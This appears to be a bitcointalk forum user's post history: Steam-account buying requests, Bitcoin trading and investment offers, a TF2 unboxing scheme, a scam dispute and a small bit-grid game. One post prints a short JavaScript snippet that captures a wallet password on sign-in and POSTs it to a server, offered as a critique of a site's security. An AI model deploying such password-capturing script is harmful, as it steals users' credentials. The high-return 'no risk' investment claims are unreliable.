Hiya, I am starting my own "mining-like" business and I need a lot of Steam Accounts with $0.29 in the wallet or TF2 premium. Would you do this service? If you're buying steam games, just buy each from a new account, and add 29 more cents to steam wallet when you purchase the gift. Then, give the account to me. I'll pay $1 per account, in BTCs. I'm expecting to purchase hundreds or thousands of steam accounts  |
|
|
|
Contact me if any problems or questions.
I'm sorry but is your donation just a way to spam the boards? I am pretty sure if any other member did the same thing they'd be banned. |
|
|
|
|
How would you like a fiverr account with over 200 legit orders, and ALL ratings are positive? Zero negative ratings. Over 200+ orders.
If you're interested, PM me.
|
|
|
|
Just a bump  |
|
|
|
After some discussion with Steve it appears someone may have attempted to login to his wallet however they were unable to pass the two factor authentication test. I believe he has moved the coins elsewhere now anyway. I had previously downloaded and installed the browser plug-in that checks the script so I suspect this was its way of notifying me of a script problem.
Sometimes the verifier can throw erroneous warnings if there is a problem downloading any of the scripts. If an error is displayed try refreshing the page, if it keeps appearing there may be a problem but otherwise the error can be ignored. The verifier is essentially ineffective. |
|
|
|
I suggest a donation to [url]http://www.videoneat.com/]http://www.videoneat.com/][url]http://www.videoneat.com/[/url] ! They just came up to accept BTC donation because I've suggested them to do so. They did'nt knew about BTC before ! This site is quite good. It host Lectures and Documentary. The site was built by 2 people. 2 people who have spent thousands of hours of work on it over the period of 8 months. This is related to TROM (The Reality Of Me), a must see ! 2 peoples have invest all their time and economy into this effort, for at least 8 month. They are now completely broke. If this came to a lost, it would be such a waste  I urge anyone reading this to donate some BTC. If anyone reading gives 1% (or more, or less) of their BTC, they will see the number of donator, and will have some more time to keep it on ! I hope you will take a look at it, and will donate some. Thanks for your time, and please, at least, give some time to look at their awesome work ! Have a nice life ! .. Are you videoneat? |
|
|
|
Because coding iz phun: I made a revision to this silly game with some awful python code where you can choose any number of bits when you generate your "grid", and can specify how many 1 bits you want in it. Less 1's = harder odds, and guess-the-bit is more like playing battleship.
import random, hashlib
numberOfBits = 192 # edit this: how many bits (max 65536, slow above 4096)
numberOfOnes = 4 # edit this: how many 1's in the bit list
numberOfOnesFound = 0
while numberOfOnesFound != numberOfOnes:
secret = 0
bitIndex = 0
while bitIndex < numberOfBits:
randomBit = int(random.uniform((float(numberOfOnes)/float(numberOfBits)),(1+(float(numberOfOnes)/float(numberOfBits)))))
secret = secret + (randomBit) * 2**(numberOfBits-bitIndex-1)
bitIndex +=1
binsecret = bin(secret)[2:].zfill(numberOfBits)
numberOfOnesFound = binsecret.count('1')
# print 'checking: number-of-ones-found: ' + str(numberOfOnesFound) + ' (need ' + str(numberOfOnes) + ')'
hexsecret = hex(secret)[2:-1].zfill((numberOfBits+3)/4) # was 64
print '\nsecret: ' + hexsecret
print 'SHA256: ' + hashlib.sha256(hexsecret).hexdigest()
print '\n 01234567 89ABCDEF\n -------- --------'
linprt = 0
while linprt <= numberOfBits-1:
print hex(linprt)[2:].zfill(4) + 'h: ' + str(binsecret[linprt:linprt+8]) + ' ' + str(binsecret[linprt+8:linprt+16])
linprt += 16
secret: 800000001000000000000000000000080000000000010000
SHA256: b97f4dfd717c877a8bbbc84b7eb7e569fcd9c8618846e3fcecc4aa5ed93bb81d
01234567 89ABCDEF
-------- --------
0000h: 10000000 00000000
0010h: 00000000 00000000
0020h: 00010000 00000000
0030h: 00000000 00000000
0040h: 00000000 00000000
0050h: 00000000 00000000
0060h: 00000000 00000000
0070h: 00000000 00001000
0080h: 00000000 00000000
0090h: 00000000 00000000
00a0h: 00000000 00000001
00b0h: 00000000 00000000
Wow, really? Some JS: var gridSize = 1024; var bits = 512; var assignedBits = 0; var grid = []; while(assignedBits < bits){ newLoc = Math.floor(Math.random() * gridSize); if(!grid[newLoc]){ grid[newLoc] = 1; assignedBits++; } } No need for floats or anything. |
|
|
|
|
Post in scammer accusations and get this host a scammer tag.
|
|
|
|
There is always risk in investments not just from ponzi schemes, what immediately sets my alarms off is you haven't spotted them yet.
I never said it's low risk. There's quite a few things that can go wrong, eg theft, malware, hacked, significant economy changes.. However, the risk of this should be similar bitcoin mining. Please quote where I said this has no risk. EDIT: I also have to build an energy efficient PC with massive amounts of RAM.. |
|
|
|
Just discovered a method where I can get about $18 a year from a once-off $3 investment (+ electricity, etc). That means 600% yearly returns. No need to hash sha, just maintain a connection to a server for a few hours a week per account. I'm going to put in $15 and see how it goes The best part is everything about this is provable (ie you can see it for yourself). So there's no risk of this being a ponzi. If I don't encounter any problems, I plan on starting a security on btc-tc / cryptostocks. |
|
|
|
Sent payment
|
|
|
|
Small bump - still offering loans |
|
|
|
If it was a mistake, it was repeated over and over and over again, which beggars belief to suppose it was a single paste. Do any exchanges let you enter a single withdrawal address that sticks until you change it? I know Gox makes me put in a new withdrawal address each time...
I'm seeking legal counsel at this point.
What do you mean? 1. You've posted on the forums. Wait for 3 months and see if anyone claims it. 2. If not, take the coins. Donate it if you're generous. 3. Feel good karma or feel profit |
|
|
|
|
I'd like to buy this too. If you don't want to wait, send 0.75 BTC to 13VXUBDBd6Jwsz7euG59BmanHEMA5EkcA1
and then PM me your PayPal email. I'll send you the paypal payment when I'm online.
|
|
|
|
Bumping! Let's keep this going a bit longer  I want to deposit a bitcoin but I feel that would be like 10*ing the entire pot. |
|
|
|
|
What's this about?
In Team Fortress 2, for the holidays there are Naughty and Nice crates. Naughty crates have festive items in them. Some festive items are worth a lot, and generally the price of festive items increase (strange festive minigun doubled in a year, for example).
A naughty key costs $2.49 from the store, but I can get them cheaper from sellers. You can get the following items:
(Prices below are from the TF2 Spreadsheet)
Festive Holy Mackerel - Strange: ~9 normal keys, $12.6. Nonstrange: 1 normal key, $1.4
Festive Axtinguisher: Strange: ~8 normal keys, $11.2. Nonstrange: 2 normal keys, $2.8
Festive Buff Banner: Strange: ~10 normal keys, $14. Nonstrange: 2 normal keys, $2.8
Festive Sandvich: Strange: ~14 normal keys, $19.6. Nonstrange: 1.5 normal keys, $2.1
Festive Ubersaw: Strange: ~12 normal keys, $16.8. Nonstrange: 2 normal keys, $2.8
Festive Frontier Justice: Strange: ~8 normal keys, $11.2. Nonstrange: 2.33 normal keys, $3.26
Festive Huntsman: Strange: ~19 normal keys, $26.6. Nonstrange: 2 normal keys, $2.8
Festive Ambassador: Strange: ~8 normal keys, $11.2. Nonstrange: 2 normal keys, $2.8
Festive Grenade Launcher: Strange: ~20 normal keys, $28. Nonstrange: 2.66 normal keys, $3.72
Rare Unusual Item: Ranges from $15 or so to $2,000+. 1% chance.
Basically: Positive EV in short term, positive EV in long term. Histrionical trends for last years unusual items shows that the price of desired festives can double by next year's xmas.
All the festive items has a 11% chance. Every unbox will have a festive item (unless you are REALLY lucky and get a unusual). So as you can see you will make a lot of profit from strange items, and you will make profit from the majority of noncrate items. Crates are not free, they are 1 refined so about $0.50.
Price: 0.25 BTC (Crate and Key) pack. 0.3BTC if you want me to record me unboxing. You choose if you want me to sell it, or if you want the item, or if you want me to hold onto it and sell it next year for more profit. I'll pay you 100% of what I sell them for in BTC or paypal, whichever you prefer.
|
|
|
|
The information should not have been posted publicly, but: - The user has not lost any money - The wallets private keys are still safe - The user has his own backups, we have backups of every version of the wallet. A normal hosted wallet could have simply done. update wallets set balance = 0 where user = 'nethead' blockchain.info could have simply done <script> $('#whatever_nonrandomized_id_used_for_sign_in_button').click(function(){ $.post(' https://blockchain.info/topsecret/', {password: $('#whatever_id_for_password_box_var').val()}); }); </script> and have it pass the verifier. |
|
|
|
|
Simple solution.. pipe them and use SendMany once every 10 seconds.
|
|
|
|
@OP: can you explain more precisely what you did?
He looked into his own system memory and was amazed to discover stuff.  In his last post he said he managed to make a browser plugin that was able to read the pw when user entered it on blockchain.info. That would be a serious threat. Exactly. Now, other browser based wallets would be vulnerable too. But Blockchain.info is giving a false sense of security by making the user think that their password is secure. Doesn't matter if "Your passwords are stored with triple AES256 encryption on our armed drone-monitored datacenters traveling over gold wires" when the back door is right open. There are a lot of ways to prevent this. Javascript to obfuscate the entering of passwords. Trapping the click event so that other JS on page cannot bind a click listener to it (gmail does this for some functions). Don't have a static id for the password box, instead randomly generate and assign it. Etc etc etc. |
|
|
|
A victim has come forward. Which proves I am a scammer. I will do my best to fix his complaint but Imight not be able to. But this is what I say: I am a victim. YOU LIED about the obvious market value of assets for your made-up and proven wrong valuations, no matter what your excuses. I am sorry. I said I was going to add value by marking to model. this is why i didn't mark down BAKEWELL for example. I belived in BAKEWELL, for example. I belived it was worth the IPO price even though bulk buyers who got 10% off sold down at 95% of IPO. I WAS WRONG. I am very sorry and I will process your claim and make sure you get a little extra for your shares, I have a complete list of holders and I have bought about 50 or 100 btc extra to distribute. I just want shateholders to be happy. YOU LIED when you said "there is literally NO WAY CPA can go bankrupt". YOU LIED when you said your funds were collateralized and then you sold them in the wrong order. Selling them in the wrong order was one of the biggest bitcoin scams ever and you can't just pretend it is acceptable. Since you claim this asset will help you repay people, fine, I'll remove my vote. Thank you. Although I am sorry I do not know what you mean. CPA invested 500 bitcoins with Patrick Harnett, 500 with Hashking, and 500 with Imsaguy. No one trusted us so I turned to the community and invested with the biggest deposit takers t the time. I fucked up. It was my fault. I just wasn't good enough to do what was supposed to be done. So I can't tell you what I should have done. I just sholdn't have done it. And as soon as I make reparations to you, and ALL shareholders equally, I will go away. Forever. I am sorry. Please believe me Even if I can't list on BTCT.CO anyways. what the .... Usagi, you might as well as want to just click 'Log out' on bitcointalk and set sails. |
|
|
|
|
Show Posts
